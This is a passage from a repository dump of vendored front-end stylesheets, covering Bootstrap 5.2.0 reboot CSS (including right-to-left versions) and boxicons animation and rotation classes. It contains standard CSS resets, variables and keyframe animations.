ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}small{font-size:.875em}mark{padding:.1875em;background-color:var(--bs-highlight-bg)}sub,sup{position:relative;font-size:.75em;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:var(--bs-link-color);text-decoration:underline}a:hover{color:var(--bs-link-hover-color)}a:not([href]):not([class]),a:not([href]):not([class]):hover{color:inherit;text-decoration:none}code,kbd,pre,samp{font-family:var(--bs-font-monospace);font-size:1em}pre{display:block;margin-top:0;margin-bottom:1rem;overflow:auto;font-size:.875em}pre code{font-size:inherit;color:inherit;word-break:normal}code{font-size:.875em;color:var(--bs-code-color);word-wrap:break-word}a>code{color:inherit}kbd{padding:.1875rem .375rem;font-size:.875em;color:var(--bs-body-bg);background-color:var(--bs-body-color);border-radius:.25rem}kbd kbd{padding:0;font-size:1em}figure{margin:0 0 1rem}img,svg{vertical-align:middle}table{caption-side:bottom;border-collapse:collapse}caption{padding-top:.5rem;padding-bottom:.5rem;color:#6c757d;text-align:left}th{text-align:inherit;text-align:-webkit-match-parent}tbody,td,tfoot,th,thead,tr{border-color:inherit;border-style:solid;border-width:0}label{display:inline-block}button{border-radius:0}button:focus:not(:focus-visible){outline:0}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,select{text-transform:none}[role=button]{cursor:pointer}select{word-wrap:normal}select:disabled{opacity:1}[list]:not([type=date]):not([type=datetime-local]):not([type=month]):not([type=week]):not([type=time])::-webkit-calendar-picker-indicator{display:none!important}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled){cursor:pointer}::-moz-focus-inner{padding:0;border-style:none}textarea{resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{float:left;width:100%;padding:0;margin-bottom:.5rem;font-size:calc(1.275rem + .3vw);line-height:inherit}@media (min-width:1200px){legend{font-size:1.5rem}}legend+*{clear:left}::-webkit-datetime-edit-day-field,::-webkit-datetime-edit-fields-wrapper,::-webkit-datetime-edit-hour-field,::-webkit-datetime-edit-minute,::-webkit-datetime-edit-month-field,::-webkit-datetime-edit-text,::-webkit-datetime-edit-year-field{padding:0}::-webkit-inner-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:textfield}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-color-swatch-wrapper{padding:0}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}::file-selector-button{font:inherit;-webkit-appearance:button}output{display:inline-block}iframe{border:0}summary{display:list-item;cursor:pointer}progress{vertical-align:baseline}[hidden]{display:none!important} 7 | /*# sourceMappingURL=bootstrap-reboot.min.css.map */ -------------------------------------------------------------------------------- /assets/vendor/bootstrap/css/bootstrap-reboot.rtl.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap Reboot v5.2.0 (https://getbootstrap.com/) 3 | * Copyright 2011-2022 The Bootstrap Authors 4 | * Copyright 2011-2022 Twitter, Inc. 5 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) 6 | */ 7 | :root { 8 | --bs-blue: #0d6efd; 9 | --bs-indigo: #6610f2; 10 | --bs-purple: #6f42c1; 11 | --bs-pink: #d63384; 12 | --bs-red: #dc3545; 13 | --bs-orange: #fd7e14; 14 | --bs-yellow: #ffc107; 15 | --bs-green: #198754; 16 | --bs-teal: #20c997; 17 | --bs-cyan: #0dcaf0; 18 | --bs-black: #000; 19 | --bs-white: #fff; 20 | --bs-gray: #6c757d; 21 | --bs-gray-dark: #343a40; 22 | --bs-gray-100: #f8f9fa; 23 | --bs-gray-200: #e9ecef; 24 | --bs-gray-300: #dee2e6; 25 | --bs-gray-400: #ced4da; 26 | --bs-gray-500: #adb5bd; 27 | --bs-gray-600: #6c757d; 28 | --bs-gray-700: #495057; 29 | --bs-gray-800: #343a40; 30 | --bs-gray-900: #212529; 31 | --bs-primary: #0d6efd; 32 | --bs-secondary: #6c757d; 33 | --bs-success: #198754; 34 | --bs-info: #0dcaf0; 35 | --bs-warning: #ffc107; 36 | --bs-danger: #dc3545; 37 | --bs-light: #f8f9fa; 38 | --bs-dark: #212529; 39 | --bs-primary-rgb: 13, 110, 253; 40 | --bs-secondary-rgb: 108, 117, 125; 41 | --bs-success-rgb: 25, 135, 84; 42 | --bs-info-rgb: 13, 202, 240; 43 | --bs-warning-rgb: 255, 193, 7; 44 | --bs-danger-rgb: 220, 53, 69; 45 | --bs-light-rgb: 248, 249, 250; 46 | --bs-dark-rgb: 33, 37, 41; 47 | --bs-white-rgb: 255, 255, 255; 48 | --bs-black-rgb: 0, 0, 0; 49 | --bs-body-color-rgb: 33, 37, 41; 50 | --bs-body-bg-rgb: 255, 255, 255; 51 | --bs-font-sans-serif: system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", "Noto Sans", "Liberation Sans", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; 52 | --bs-font-monospace: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; 53 | --bs-gradient: linear-gradient(180deg, rgba(255, 255, 255, 0.15), rgba(255, 255, 255, 0)); 54 | --bs-body-font-family: var(--bs-font-sans-serif); 55 | --bs-body-font-size: 1rem; 56 | --bs-body-font-weight: 400; 57 | --bs-body-line-height: 1.5; 58 | --bs-body-color: #212529; 59 | --bs-body-bg: #fff; 60 | --bs-border-width: 1px; 61 | --bs-border-style: solid; 62 | --bs-border-color: #dee2e6; 63 | --bs-border-color-translucent: rgba(0, 0, 0, 0.175); 64 | --bs-border-radius: 0.375rem; 65 | --bs-border-radius-sm: 0.25rem; 66 | --bs-border-radius-lg: 0.5rem; 67 | --bs-border-radius-xl: 1rem; 68 | --bs-border-radius-2xl: 2rem; 69 | --bs-border-radius-pill: 50rem; 70 | --bs-link-color: #0d6efd; 71 | --bs-link-hover-color: #0a58ca; 72 | --bs-code-color: #d63384; 73 | --bs-highlight-bg: #fff3cd; 74 | } 75 | 76 | *, 77 | *::before, 78 | *::after { 79 | box-sizing: border-box; 80 | } 81 | 82 | @media (prefers-reduced-motion: no-preference) { 83 | :root { 84 | scroll-behavior: smooth; 85 | } 86 | } 87 | 88 | body { 89 | margin: 0; 90 | font-family: var(--bs-body-font-family); 91 | font-size: var(--bs-body-font-size); 92 | font-weight: var(--bs-body-font-weight); 93 | line-height: var(--bs-body-line-height); 94 | color: var(--bs-body-color); 95 | text-align: var(--bs-body-text-align); 96 | background-color: var(--bs-body-bg); 97 | -webkit-text-size-adjust: 100%; 98 | -webkit-tap-highlight-color: rgba(0, 0, 0, 0); 99 | } 100 | 101 | hr { 102 | margin: 1rem 0; 103 | color: inherit; 104 | border: 0; 105 | border-top: 1px solid; 106 | opacity: 0.25; 107 | } 108 | 109 | h6, h5, h4, h3, h2, h1 { 110 | margin-top: 0; 111 | margin-bottom: 0.5rem; 112 | font-weight: 500; 113 | line-height: 1.2; 114 | } 115 | 116 | h1 { 117 | font-size: calc(1.375rem + 1.5vw); 118 | } 119 | @media (min-width: 1200px) { 120 | h1 { 121 | font-size: 2.5rem; 122 | } 123 | } 124 | 125 | h2 { 126 | font-size: calc(1.325rem + 0.9vw); 127 | } 128 | @media (min-width: 1200px) { 129 | h2 { 130 | font-size: 2rem; 131 | } 132 | } 133 | 134 | h3 { 135 | font-size: calc(1.3rem + 0.6vw); 136 | } 137 | @media (min-width: 1200px) { 138 | h3 { 139 | font-size: 1.75rem; 140 | } 141 | } 142 | 143 | h4 { 144 | font-size: calc(1.275rem + 0.3vw); 145 | } 146 | @media (min-width: 1200px) { 147 | h4 { 148 | font-size: 1.5rem; 149 | } 150 | } 151 | 152 | h5 { 153 | font-size: 1.25rem; 154 | } 155 | 156 | h6 { 157 | font-size: 1rem; 158 | } 159 | 160 | p { 161 | margin-top: 0; 162 | margin-bottom: 1rem; 163 | } 164 | 165 | abbr[title] { 166 | -webkit-text-decoration: underline dotted; 167 | text-decoration: underline dotted; 168 | cursor: help; 169 | -webkit-text-decoration-skip-ink: none; 170 | text-decoration-skip-ink: none; 171 | } 172 | 173 | address { 174 | margin-bottom: 1rem; 175 | font-style: normal; 176 | line-height: inherit; 177 | } 178 | 179 | ol, 180 | ul { 181 | padding-right: 2rem; 182 | } 183 | 184 | ol, 185 | ul, 186 | dl { 187 | margin-top: 0; 188 | margin-bottom: 1rem; 189 | } 190 | 191 | ol ol, 192 | ul ul, 193 | ol ul, 194 | ul ol { 195 | margin-bottom: 0; 196 | } 197 | 198 | dt { 199 | font-weight: 700; 200 | } 201 | 202 | dd { 203 | margin-bottom: 0.5rem; 204 | margin-right: 0; 205 | } 206 | 207 | blockquote { 208 | margin: 0 0 1rem; 209 | } 210 | 211 | b, 212 | strong { 213 | font-weight: bolder; 214 | } 215 | 216 | small { 217 | font-size: 0.875em; 218 | } 219 | 220 | mark { 221 | padding: 0.1875em; 222 | background-color: var(--bs-highlight-bg); 223 | } 224 | 225 | sub, 226 | sup { 227 | position: relative; 228 | font-size: 0.75em; 229 | line-height: 0; 230 | vertical-align: baseline; 231 | } 232 | 233 | sub { 234 | bottom: -0.25em; 235 | } 236 | 237 | sup { 238 | top: -0.5em; 239 | } 240 | 241 | a { 242 | color: var(--bs-link-color); 243 | text-decoration: underline; 244 | } 245 | a:hover { 246 | color: var(--bs-link-hover-color); 247 | } 248 | 249 | a:not([href]):not([class]), a:not([href]):not([class]):hover { 250 | color: inherit; 251 | text-decoration: none; 252 | } 253 | 254 | pre, 255 | code, 256 | kbd, 257 | samp { 258 | font-family: var(--bs-font-monospace); 259 | font-size: 1em; 260 | } 261 | 262 | pre { 263 | display: block; 264 | margin-top: 0; 265 | margin-bottom: 1rem; 266 | overflow: auto; 267 | font-size: 0.875em; 268 | } 269 | pre code { 270 | font-size: inherit; 271 | color: inherit; 272 | word-break: normal; 273 | } 274 | 275 | code { 276 | font-size: 0.875em; 277 | color: var(--bs-code-color); 278 | word-wrap: break-word; 279 | } 280 | a > code { 281 | color: inherit; 282 | } 283 | 284 | kbd { 285 | padding: 0.1875rem 0.375rem; 286 | font-size: 0.875em; 287 | color: var(--bs-body-bg); 288 | background-color: var(--bs-body-color); 289 | border-radius: 0.25rem; 290 | } 291 | kbd kbd { 292 | padding: 0; 293 | font-size: 1em; 294 | } 295 | 296 | figure { 297 | margin: 0 0 1rem; 298 | } 299 | 300 | img, 301 | svg { 302 | vertical-align: middle; 303 | } 304 | 305 | table { 306 | caption-side: bottom; 307 | border-collapse: collapse; 308 | } 309 | 310 | caption { 311 | padding-top: 0.5rem; 312 | padding-bottom: 0.5rem; 313 | color: #6c757d; 314 | text-align: right; 315 | } 316 | 317 | th { 318 | text-align: inherit; 319 | text-align: -webkit-match-parent; 320 | } 321 | 322 | thead, 323 | tbody, 324 | tfoot, 325 | tr, 326 | td, 327 | th { 328 | border-color: inherit; 329 | border-style: solid; 330 | border-width: 0; 331 | } 332 | 333 | label { 334 | display: inline-block; 335 | } 336 | 337 | button { 338 | border-radius: 0; 339 | } 340 | 341 | button:focus:not(:focus-visible) { 342 | outline: 0; 343 | } 344 | 345 | input, 346 | button, 347 | select, 348 | optgroup, 349 | textarea { 350 | margin: 0; 351 | font-family: inherit; 352 | font-size: inherit; 353 | line-height: inherit; 354 | } 355 | 356 | button, 357 | select { 358 | text-transform: none; 359 | } 360 | 361 | [role=button] { 362 | cursor: pointer; 363 | } 364 | 365 | select { 366 | word-wrap: normal; 367 | } 368 | select:disabled { 369 | opacity: 1; 370 | } 371 | 372 | [list]:not([type=date]):not([type=datetime-local]):not([type=month]):not([type=week]):not([type=time])::-webkit-calendar-picker-indicator { 373 | display: none !important; 374 | } 375 | 376 | button, 377 | [type=button], 378 | [type=reset], 379 | [type=submit] { 380 | -webkit-appearance: button; 381 | } 382 | button:not(:disabled), 383 | [type=button]:not(:disabled), 384 | [type=reset]:not(:disabled), 385 | [type=submit]:not(:disabled) { 386 | cursor: pointer; 387 | } 388 | 389 | ::-moz-focus-inner { 390 | padding: 0; 391 | border-style: none; 392 | } 393 | 394 | textarea { 395 | resize: vertical; 396 | } 397 | 398 | fieldset { 399 | min-width: 0; 400 | padding: 0; 401 | margin: 0; 402 | border: 0; 403 | } 404 | 405 | legend { 406 | float: right; 407 | width: 100%; 408 | padding: 0; 409 | margin-bottom: 0.5rem; 410 | font-size: calc(1.275rem + 0.3vw); 411 | line-height: inherit; 412 | } 413 | @media (min-width: 1200px) { 414 | legend { 415 | font-size: 1.5rem; 416 | } 417 | } 418 | legend + * { 419 | clear: right; 420 | } 421 | 422 | ::-webkit-datetime-edit-fields-wrapper, 423 | ::-webkit-datetime-edit-text, 424 | ::-webkit-datetime-edit-minute, 425 | ::-webkit-datetime-edit-hour-field, 426 | ::-webkit-datetime-edit-day-field, 427 | ::-webkit-datetime-edit-month-field, 428 | ::-webkit-datetime-edit-year-field { 429 | padding: 0; 430 | } 431 | 432 | ::-webkit-inner-spin-button { 433 | height: auto; 434 | } 435 | 436 | [type=search] { 437 | outline-offset: -2px; 438 | -webkit-appearance: textfield; 439 | } 440 | 441 | [type="tel"], 442 | [type="url"], 443 | [type="email"], 444 | [type="number"] { 445 | direction: ltr; 446 | } 447 | ::-webkit-search-decoration { 448 | -webkit-appearance: none; 449 | } 450 | 451 | ::-webkit-color-swatch-wrapper { 452 | padding: 0; 453 | } 454 | 455 | ::-webkit-file-upload-button { 456 | font: inherit; 457 | -webkit-appearance: button; 458 | } 459 | 460 | ::file-selector-button { 461 | font: inherit; 462 | -webkit-appearance: button; 463 | } 464 | 465 | output { 466 | display: inline-block; 467 | } 468 | 469 | iframe { 470 | border: 0; 471 | } 472 | 473 | summary { 474 | display: list-item; 475 | cursor: pointer; 476 | } 477 | 478 | progress { 479 | vertical-align: baseline; 480 | } 481 | 482 | [hidden] { 483 | display: none !important; 484 | } 485 | /*# sourceMappingURL=bootstrap-reboot.rtl.css.map */ -------------------------------------------------------------------------------- /assets/vendor/bootstrap/css/bootstrap-reboot.rtl.min.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap Reboot v5.2.0 (https://getbootstrap.com/) 3 | * Copyright 2011-2022 The Bootstrap Authors 4 | * Copyright 2011-2022 Twitter, Inc. 5 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) 6 | */:root{--bs-blue:#0d6efd;--bs-indigo:#6610f2;--bs-purple:#6f42c1;--bs-pink:#d63384;--bs-red:#dc3545;--bs-orange:#fd7e14;--bs-yellow:#ffc107;--bs-green:#198754;--bs-teal:#20c997;--bs-cyan:#0dcaf0;--bs-black:#000;--bs-white:#fff;--bs-gray:#6c757d;--bs-gray-dark:#343a40;--bs-gray-100:#f8f9fa;--bs-gray-200:#e9ecef;--bs-gray-300:#dee2e6;--bs-gray-400:#ced4da;--bs-gray-500:#adb5bd;--bs-gray-600:#6c757d;--bs-gray-700:#495057;--bs-gray-800:#343a40;--bs-gray-900:#212529;--bs-primary:#0d6efd;--bs-secondary:#6c757d;--bs-success:#198754;--bs-info:#0dcaf0;--bs-warning:#ffc107;--bs-danger:#dc3545;--bs-light:#f8f9fa;--bs-dark:#212529;--bs-primary-rgb:13,110,253;--bs-secondary-rgb:108,117,125;--bs-success-rgb:25,135,84;--bs-info-rgb:13,202,240;--bs-warning-rgb:255,193,7;--bs-danger-rgb:220,53,69;--bs-light-rgb:248,249,250;--bs-dark-rgb:33,37,41;--bs-white-rgb:255,255,255;--bs-black-rgb:0,0,0;--bs-body-color-rgb:33,37,41;--bs-body-bg-rgb:255,255,255;--bs-font-sans-serif:system-ui,-apple-system,"Segoe UI",Roboto,"Helvetica Neue","Noto Sans","Liberation Sans",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--bs-font-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;--bs-gradient:linear-gradient(180deg, rgba(255, 255, 255, 0.15), rgba(255, 255, 255, 0));--bs-body-font-family:var(--bs-font-sans-serif);--bs-body-font-size:1rem;--bs-body-font-weight:400;--bs-body-line-height:1.5;--bs-body-color:#212529;--bs-body-bg:#fff;--bs-border-width:1px;--bs-border-style:solid;--bs-border-color:#dee2e6;--bs-border-color-translucent:rgba(0, 0, 0, 0.175);--bs-border-radius:0.375rem;--bs-border-radius-sm:0.25rem;--bs-border-radius-lg:0.5rem;--bs-border-radius-xl:1rem;--bs-border-radius-2xl:2rem;--bs-border-radius-pill:50rem;--bs-link-color:#0d6efd;--bs-link-hover-color:#0a58ca;--bs-code-color:#d63384;--bs-highlight-bg:#fff3cd}*,::after,::before{box-sizing:border-box}@media (prefers-reduced-motion:no-preference){:root{scroll-behavior:smooth}}body{margin:0;font-family:var(--bs-body-font-family);font-size:var(--bs-body-font-size);font-weight:var(--bs-body-font-weight);line-height:var(--bs-body-line-height);color:var(--bs-body-color);text-align:var(--bs-body-text-align);background-color:var(--bs-body-bg);-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:transparent}hr{margin:1rem 0;color:inherit;border:0;border-top:1px solid;opacity:.25}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem;font-weight:500;line-height:1.2}h1{font-size:calc(1.375rem + 1.5vw)}@media (min-width:1200px){h1{font-size:2.5rem}}h2{font-size:calc(1.325rem + .9vw)}@media (min-width:1200px){h2{font-size:2rem}}h3{font-size:calc(1.3rem + .6vw)}@media (min-width:1200px){h3{font-size:1.75rem}}h4{font-size:calc(1.275rem + .3vw)}@media (min-width:1200px){h4{font-size:1.5rem}}h5{font-size:1.25rem}h6{font-size:1rem}p{margin-top:0;margin-bottom:1rem}abbr[title]{-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}ol,ul{padding-right:2rem}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-right:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}small{font-size:.875em}mark{padding:.1875em;background-color:var(--bs-highlight-bg)}sub,sup{position:relative;font-size:.75em;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:var(--bs-link-color);text-decoration:underline}a:hover{color:var(--bs-link-hover-color)}a:not([href]):not([class]),a:not([href]):not([class]):hover{color:inherit;text-decoration:none}code,kbd,pre,samp{font-family:var(--bs-font-monospace);font-size:1em}pre{display:block;margin-top:0;margin-bottom:1rem;overflow:auto;font-size:.875em}pre code{font-size:inherit;color:inherit;word-break:normal}code{font-size:.875em;color:var(--bs-code-color);word-wrap:break-word}a>code{color:inherit}kbd{padding:.1875rem .375rem;font-size:.875em;color:var(--bs-body-bg);background-color:var(--bs-body-color);border-radius:.25rem}kbd kbd{padding:0;font-size:1em}figure{margin:0 0 1rem}img,svg{vertical-align:middle}table{caption-side:bottom;border-collapse:collapse}caption{padding-top:.5rem;padding-bottom:.5rem;color:#6c757d;text-align:right}th{text-align:inherit;text-align:-webkit-match-parent}tbody,td,tfoot,th,thead,tr{border-color:inherit;border-style:solid;border-width:0}label{display:inline-block}button{border-radius:0}button:focus:not(:focus-visible){outline:0}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,select{text-transform:none}[role=button]{cursor:pointer}select{word-wrap:normal}select:disabled{opacity:1}[list]:not([type=date]):not([type=datetime-local]):not([type=month]):not([type=week]):not([type=time])::-webkit-calendar-picker-indicator{display:none!important}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled){cursor:pointer}::-moz-focus-inner{padding:0;border-style:none}textarea{resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{float:right;width:100%;padding:0;margin-bottom:.5rem;font-size:calc(1.275rem + .3vw);line-height:inherit}@media (min-width:1200px){legend{font-size:1.5rem}}legend+*{clear:right}::-webkit-datetime-edit-day-field,::-webkit-datetime-edit-fields-wrapper,::-webkit-datetime-edit-hour-field,::-webkit-datetime-edit-minute,::-webkit-datetime-edit-month-field,::-webkit-datetime-edit-text,::-webkit-datetime-edit-year-field{padding:0}::-webkit-inner-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:textfield}[type=email],[type=number],[type=tel],[type=url]{direction:ltr}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-color-swatch-wrapper{padding:0}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}::file-selector-button{font:inherit;-webkit-appearance:button}output{display:inline-block}iframe{border:0}summary{display:list-item;cursor:pointer}progress{vertical-align:baseline}[hidden]{display:none!important} 7 | /*# sourceMappingURL=bootstrap-reboot.rtl.min.css.map */ -------------------------------------------------------------------------------- /assets/vendor/boxicons/css/animations.css: -------------------------------------------------------------------------------- 1 | @-webkit-keyframes spin 2 | { 3 | 0% 4 | { 5 | -webkit-transform: rotate(0); 6 | transform: rotate(0); 7 | } 8 | 100% 9 | { 10 | -webkit-transform: rotate(359deg); 11 | transform: rotate(359deg); 12 | } 13 | } 14 | @keyframes spin 15 | { 16 | 0% 17 | { 18 | -webkit-transform: rotate(0); 19 | transform: rotate(0); 20 | } 21 | 100% 22 | { 23 | -webkit-transform: rotate(359deg); 24 | transform: rotate(359deg); 25 | } 26 | } 27 | @-webkit-keyframes burst 28 | { 29 | 0% 30 | { 31 | -webkit-transform: scale(1); 32 | transform: scale(1); 33 | 34 | opacity: 1; 35 | } 36 | 90% 37 | { 38 | -webkit-transform: scale(1.5); 39 | transform: scale(1.5); 40 | 41 | opacity: 0; 42 | } 43 | } 44 | @keyframes burst 45 | { 46 | 0% 47 | { 48 | -webkit-transform: scale(1); 49 | transform: scale(1); 50 | 51 | opacity: 1; 52 | } 53 | 90% 54 | { 55 | -webkit-transform: scale(1.5); 56 | transform: scale(1.5); 57 | 58 | opacity: 0; 59 | } 60 | } 61 | @-webkit-keyframes flashing 62 | { 63 | 0% 64 | { 65 | opacity: 1; 66 | } 67 | 45% 68 | { 69 | opacity: 0; 70 | } 71 | 90% 72 | { 73 | opacity: 1; 74 | } 75 | } 76 | @keyframes flashing 77 | { 78 | 0% 79 | { 80 | opacity: 1; 81 | } 82 | 45% 83 | { 84 | opacity: 0; 85 | } 86 | 90% 87 | { 88 | opacity: 1; 89 | } 90 | } 91 | @-webkit-keyframes fade-left 92 | { 93 | 0% 94 | { 95 | -webkit-transform: translateX(0); 96 | transform: translateX(0); 97 | 98 | opacity: 1; 99 | } 100 | 75% 101 | { 102 | -webkit-transform: translateX(-20px); 103 | transform: translateX(-20px); 104 | 105 | opacity: 0; 106 | } 107 | } 108 | @keyframes fade-left 109 | { 110 | 0% 111 | { 112 | -webkit-transform: translateX(0); 113 | transform: translateX(0); 114 | 115 | opacity: 1; 116 | } 117 | 75% 118 | { 119 | -webkit-transform: translateX(-20px); 120 | transform: translateX(-20px); 121 | 122 | opacity: 0; 123 | } 124 | } 125 | @-webkit-keyframes fade-right 126 | { 127 | 0% 128 | { 129 | -webkit-transform: translateX(0); 130 | transform: translateX(0); 131 | 132 | opacity: 1; 133 | } 134 | 75% 135 | { 136 | -webkit-transform: translateX(20px); 137 | transform: translateX(20px); 138 | 139 | opacity: 0; 140 | } 141 | } 142 | @keyframes fade-right 143 | { 144 | 0% 145 | { 146 | -webkit-transform: translateX(0); 147 | transform: translateX(0); 148 | 149 | opacity: 1; 150 | } 151 | 75% 152 | { 153 | -webkit-transform: translateX(20px); 154 | transform: translateX(20px); 155 | 156 | opacity: 0; 157 | } 158 | } 159 | @-webkit-keyframes fade-up 160 | { 161 | 0% 162 | { 163 | -webkit-transform: translateY(0); 164 | transform: translateY(0); 165 | 166 | opacity: 1; 167 | } 168 | 75% 169 | { 170 | -webkit-transform: translateY(-20px); 171 | transform: translateY(-20px); 172 | 173 | opacity: 0; 174 | } 175 | } 176 | @keyframes fade-up 177 | { 178 | 0% 179 | { 180 | -webkit-transform: translateY(0); 181 | transform: translateY(0); 182 | 183 | opacity: 1; 184 | } 185 | 75% 186 | { 187 | -webkit-transform: translateY(-20px); 188 | transform: translateY(-20px); 189 | 190 | opacity: 0; 191 | } 192 | } 193 | @-webkit-keyframes fade-down 194 | { 195 | 0% 196 | { 197 | -webkit-transform: translateY(0); 198 | transform: translateY(0); 199 | 200 | opacity: 1; 201 | } 202 | 75% 203 | { 204 | -webkit-transform: translateY(20px); 205 | transform: translateY(20px); 206 | 207 | opacity: 0; 208 | } 209 | } 210 | @keyframes fade-down 211 | { 212 | 0% 213 | { 214 | -webkit-transform: translateY(0); 215 | transform: translateY(0); 216 | 217 | opacity: 1; 218 | } 219 | 75% 220 | { 221 | -webkit-transform: translateY(20px); 222 | transform: translateY(20px); 223 | 224 | opacity: 0; 225 | } 226 | } 227 | @-webkit-keyframes tada 228 | { 229 | from 230 | { 231 | -webkit-transform: scale3d(1, 1, 1); 232 | transform: scale3d(1, 1, 1); 233 | } 234 | 235 | 10%, 236 | 20% 237 | { 238 | -webkit-transform: scale3d(.95, .95, .95) rotate3d(0, 0, 1, -10deg); 239 | transform: scale3d(.95, .95, .95) rotate3d(0, 0, 1, -10deg); 240 | } 241 | 242 | 30%, 243 | 50%, 244 | 70%, 245 | 90% 246 | { 247 | -webkit-transform: scale3d(1, 1, 1) rotate3d(0, 0, 1, 10deg); 248 | transform: scale3d(1, 1, 1) rotate3d(0, 0, 1, 10deg); 249 | } 250 | 251 | 40%, 252 | 60%, 253 | 80% 254 | { 255 | -webkit-transform: scale3d(1, 1, 1) rotate3d(0, 0, 1, -10deg); 256 | transform: scale3d(1, 1, 1) rotate3d(0, 0, 1, -10deg); 257 | } 258 | 259 | to 260 | { 261 | -webkit-transform: scale3d(1, 1, 1); 262 | transform: scale3d(1, 1, 1); 263 | } 264 | } 265 | 266 | @keyframes tada 267 | { 268 | from 269 | { 270 | -webkit-transform: scale3d(1, 1, 1); 271 | transform: scale3d(1, 1, 1); 272 | } 273 | 274 | 10%, 275 | 20% 276 | { 277 | -webkit-transform: scale3d(.95, .95, .95) rotate3d(0, 0, 1, -10deg); 278 | transform: scale3d(.95, .95, .95) rotate3d(0, 0, 1, -10deg); 279 | } 280 | 281 | 30%, 282 | 50%, 283 | 70%, 284 | 90% 285 | { 286 | -webkit-transform: scale3d(1, 1, 1) rotate3d(0, 0, 1, 10deg); 287 | transform: scale3d(1, 1, 1) rotate3d(0, 0, 1, 10deg); 288 | } 289 | 290 | 40%, 291 | 60%, 292 | 80% 293 | { 294 | -webkit-transform: rotate3d(0, 0, 1, -10deg); 295 | transform: rotate3d(0, 0, 1, -10deg); 296 | } 297 | 298 | to 299 | { 300 | -webkit-transform: scale3d(1, 1, 1); 301 | transform: scale3d(1, 1, 1); 302 | } 303 | } 304 | .bx-spin 305 | { 306 | -webkit-animation: spin 2s linear infinite; 307 | animation: spin 2s linear infinite; 308 | } 309 | .bx-spin-hover:hover 310 | { 311 | -webkit-animation: spin 2s linear infinite; 312 | animation: spin 2s linear infinite; 313 | } 314 | 315 | .bx-tada 316 | { 317 | -webkit-animation: tada 1.5s ease infinite; 318 | animation: tada 1.5s ease infinite; 319 | } 320 | .bx-tada-hover:hover 321 | { 322 | -webkit-animation: tada 1.5s ease infinite; 323 | animation: tada 1.5s ease infinite; 324 | } 325 | 326 | .bx-flashing 327 | { 328 | -webkit-animation: flashing 1.5s infinite linear; 329 | animation: flashing 1.5s infinite linear; 330 | } 331 | .bx-flashing-hover:hover 332 | { 333 | -webkit-animation: flashing 1.5s infinite linear; 334 | animation: flashing 1.5s infinite linear; 335 | } 336 | 337 | .bx-burst 338 | { 339 | -webkit-animation: burst 1.5s infinite linear; 340 | animation: burst 1.5s infinite linear; 341 | } 342 | .bx-burst-hover:hover 343 | { 344 | -webkit-animation: burst 1.5s infinite linear; 345 | animation: burst 1.5s infinite linear; 346 | } 347 | .bx-fade-up 348 | { 349 | -webkit-animation: fade-up 1.5s infinite linear; 350 | animation: fade-up 1.5s infinite linear; 351 | } 352 | .bx-fade-up-hover:hover 353 | { 354 | -webkit-animation: fade-up 1.5s infinite linear; 355 | animation: fade-up 1.5s infinite linear; 356 | } 357 | .bx-fade-down 358 | { 359 | -webkit-animation: fade-down 1.5s infinite linear; 360 | animation: fade-down 1.5s infinite linear; 361 | } 362 | .bx-fade-down-hover:hover 363 | { 364 | -webkit-animation: fade-down 1.5s infinite linear; 365 | animation: fade-down 1.5s infinite linear; 366 | } 367 | .bx-fade-left 368 | { 369 | -webkit-animation: fade-left 1.5s infinite linear; 370 | animation: fade-left 1.5s infinite linear; 371 | } 372 | .bx-fade-left-hover:hover 373 | { 374 | -webkit-animation: fade-left 1.5s infinite linear; 375 | animation: fade-left 1.5s infinite linear; 376 | } 377 | .bx-fade-right 378 | { 379 | -webkit-animation: fade-right 1.5s infinite linear; 380 | animation: fade-right 1.5s infinite linear; 381 | } 382 | .bx-fade-right-hover:hover 383 | { 384 | -webkit-animation: fade-right 1.5s infinite linear; 385 | animation: fade-right 1.5s infinite linear; 386 | } -------------------------------------------------------------------------------- /assets/vendor/boxicons/css/transformations.css: -------------------------------------------------------------------------------- 1 | .bx-rotate-90 2 | { 3 | transform: rotate(90deg); 4 | 5 | -ms-filter: 'progid:DXImageTransform.Microsoft.BasicImage(rotation=1)'; 6 | } 7 | .bx-rotate-180 8 | { 9 | transform: rotate(180deg); 10 | 11 